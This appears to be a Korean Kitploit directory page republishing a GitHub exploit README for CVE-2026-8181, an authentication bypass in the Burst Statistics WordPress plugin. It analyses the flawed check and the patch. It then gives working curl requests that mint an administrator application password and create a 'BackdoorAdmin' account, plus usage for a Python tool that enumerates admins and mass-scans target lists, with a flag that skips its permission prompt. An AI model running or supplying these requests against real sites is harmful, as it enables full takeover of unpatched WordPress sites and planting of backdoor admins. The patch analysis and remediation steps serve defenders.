Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8181 — Burst Statistics – 개인정보 보호 친화적인 WordPress 분석 (Google Analytics 대안) WordPress 플러그인이 Authentication Bypass에 취약합니다. | Kitploit
도구/GitHubGitHub/yucaerin/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

Burst Statistics – 개인정보 보호 친화적인 WordPress 분석 (Google Analytics 대안) WordPress 플러그인이 Authentication Bypass에 취약합니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — 인증 우회를 통한 관리자 계정 탈취

취약점 요약

WordPress 플러그인 Burst Statistics 버전 3.4.0부터 3.4.1.1은 인증되지 않은 인증 우회 취약점에 취약하며, 이로 인해 전체 관리자 계정 탈취가 가능합니다. 이 치명적인 결함을 통해 인증되지 않은 공격자가 관리자 사용자 이름을 알면 단일 HTTP 요청으로 해당 계정에 대한 유효한 WordPress 애플리케이션 비밀번호를 생성하여 사이트 전체에 지속적인 관리자 수준 액세스를 얻을 수 있습니다.

취약점은 class-mainwp-proxy.php의 is_mainwp_authenticated() 함수에서 비롯됩니다. 이 함수는 wp_authenticate_application_password()를 호출하고 결과가 WP_Error인지만 확인합니다. 결과가 실제로 성공적인 WP_User 객체인지 확인하지 않습니다. WordPress의 내부 필터 application_password_is_api_request가 false를 반환할 때(일반 REST API 인증 흐름 외부에서 호출된 경우) WordPress 함수는 WP_Error 또는 WP_User 대신 null을 반환합니다. null은 WP_Error가 아니므로 검사가 통과되고 공격자가 선택한 관리자 사용자가 wp_set_current_user()를 통해 현재 사용자로 설정됩니다.

현재 사용자가 관리자로 전환되면 후속 권한 검사가 통과됩니다. 그런 다음 공격자는 /burst/v1/mainwp-auth REST 엔드포인트에 도달하여 관리자 계정에 대한 WordPress 애플리케이션 비밀번호를 생성하고 응답에 반환합니다. 이는 공격자에게 지속적인 전체 관리자 수준 액세스를 제공합니다.

영향받는 플러그인

공격자가 할 수 있는 작업

기술 분석

플러그인 초기화 및 취약한 게이트

Burst Statistics는 WordPress의 plugins_loaded 훅에서 우선순위 9로 class-burst.php 내에서 초기화됩니다:

root@kitploit:~
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access()는 모든 관리 기능의 게이트키퍼입니다. X-BurstMainWP 헤더를 확인하고 취약한 함수를 호출합니다:

root@kitploit:~
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

취약한 함수: is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

wp_authenticate_application_password()가 null을 반환하는 이유

WordPress 내부 함수 wp_authenticate_application_password()에는 다음과 같은 필터가 있습니다:

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

REST API 인증 흐름 외부에서 호출되면 null을 반환합니다. Burst Statistics 코드는 is_wp_error($is_valid)만 확인했습니다. null은 WP_Error가 아니므로 검사가 잘못 통과됩니다.

관리자 탈취 실행 경로

  1. 공격자가 X-BurstMainWP: 1 헤더를 모든 요청에 포함하여 전송
  2. has_admin_access()가 is_mainwp_authenticated()를 트리거
  3. wp_authenticate_application_password()가 null 반환 (API 컨텍스트 아님)
  4. is_wp_error(null) = false → 검사 통과
  5. wp_set_current_user($admin_id) 실행
  6. 현재 사용자는 선택된 관리자가 됨
  7. 공격자가 /burst/v1/mainwp-auth에 POST 요청
  8. handle_auth_request()가 WordPress 애플리케이션 비밀번호를 생성
  9. 토큰이 base64(username:app_password)로 반환
  10. 공격자는 이 토큰을 사용하여 지속적인 관리자 REST API 액세스

패치 분석 (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

적용된 수정 사항:

  • application_password_is_api_request 필터를 true로 강제하여 실제 비밀번호 검증이 이루어지도록 함
  • 결과가 WP_User 인스턴스인지 확인 (null이 아님)
  • hash_equals()를 사용하여 사용자 이름 일치 확인

또한 REST 엔드포인트에 대한 check_auth_permission()은 current_user_can('manage_burst_statistics') 및 쿠키 인증 요청에 대한 명시적 nonce 확인을 요구하도록 강화되었습니다.

개념 증명

수동 cURL

root@kitploit:~
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Python 익스플로잇 도구

exploit_burst_statistics.py 스크립트는 전체 공격 체인을 자동화합니다:

  • Phase 0: readme.txt, 플러그인 헤더 또는 에셋 쿼리 문자열을 통한 버전 탐지
  • Phase 1: REST API, 작성자 페이지 또는 일반 사용자 이름 목록을 통한 관리자 사용자 이름 열거
  • Phase 2: X-BurstMainWP: 1 + 가짜 Basic Auth를 사용한 인증 우회로 토큰 생성
  • Phase 3: 토큰 검증 및 구조 유효성 검사
  • 대량 스캐너: 실시간 취약 대상 로깅이 포함된 스레드 다중 대상 스캐닝

익스플로잇 특징

  • 인증 불필요 — 사전 액세스 필요 없음
  • 지속적인 애플리케이션 비밀번호 생성에 단일 HTTP 요청
  • Burst Statistics 버전 자동 탐지 및 패치된 대상 건너뛰기
  • 관리자 사용자 이름이 제공되지 않으면 자동 열거
  • 예쁜 퍼머링크(/wp-json/)와 안 예쁜 퍼머링크(/?rest_route=) 모두 지원
  • ThreadPoolExecutor를 사용한 대량 스캐닝
  • 실시간 파일 쓰기 — 스캔 완료를 기다리지 않고 취약 대상 즉시 저장
  • 스레드 안전 파일 잠금

사용법

단일 대상 (관리자 자동 열거)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

단일 대상 (알려진 관리자 사용자 이름)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

대량 스캔

targets.txt 생성:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

옵션

수정 권장 사항

개발자 및 사이트 소유자를 위한:

  1. 즉시 업데이트하여 Burst Statistics 3.4.2 이상으로
  2. 업데이트할 수 없는 경우 플러그인을 일시적으로 비활성화
  3. 업데이트 후 관리자 계정의 모든 기존 애플리케이션 비밀번호 해지:
    • WP 관리자 → 사용자 → [관리자] → 애플리케이션 비밀번호 → 모두 해지
  4. 승인되지 않은 관리자 계정 또는 예상치 못한 사용자 생성 확인
  5. X-BurstMainWP: 1 헤더가 포함된 요청에 대한 서버 로그 검토

타임라인

날짜이벤트
2026-05-08CVE 예약
2026-05-11공급업체에 통지
2026-05-13공개 공개
2026-05-13패치 출시 (v3.4.2)

연구자

  • 크레딧: Chloe Chamberland — Wordfence PRISM

참고 자료

  • Wordfence 권고
  • CVE 기록
  • 패치 차이 — class-mainwp-proxy.php
  • NVD

면책 조항

이 정보는 교육 및 승인된 모의 침투 테스트 목적으로만 제공됩니다. 컴퓨터 시스템의 무단 악용은 불법이며 비윤리적입니다. 소유하지 않은 대상을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.

도구 다운로드
필드값
플러그인 이름Burst Statistics – 개인정보 보호 친화적인 WordPress 분석
플러그인 슬러그burst-statistics
영향받는 버전3.4.0 – 3.4.1.1
패치된 버전3.4.2
CVE IDCVE-2026-8181
CVSS 점수9.8 (Critical)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
취약점 유형인증 우회 (부적절한 인증)
CWECWE-287 — 부적절한 인증
영향전체 사이트 탈취 — 관리자 계정 탈취
기능영향
모든 관리자에 대한 애플리케이션 비밀번호 생성지속적인 관리자 액세스
REST API를 통한 새 관리자 계정 생성계정 확산
플러그인/테마 설치원격 코드 실행
게시물, 페이지 및 설정 편집사이트 변조
모든 사이트 데이터 내보내기 또는 삭제데이터 파괴 / 유출
WooCommerce/고객 데이터 액세스데이터 유출
플래그설명
-t, --target단일 대상 URL
-l, --list대상 목록 파일 (한 줄에 하나)
-T, --threads대량 스캔 스레드 수 (기본값: 10)
-o, --output결과 출력 파일 (기본값: result_burst_statistics.txt)
-u, --username알려진 관리자 사용자 이름 (열거 건너뛰기)
-v, --verbose상세 디버그 출력
--timeout요청 시간 초과 (초) (기본값: 20)
--no-confirm권한 확인 프롬프트 건너뛰기
2026-05-15
실제 환경에서 적극적인 악용 보고됨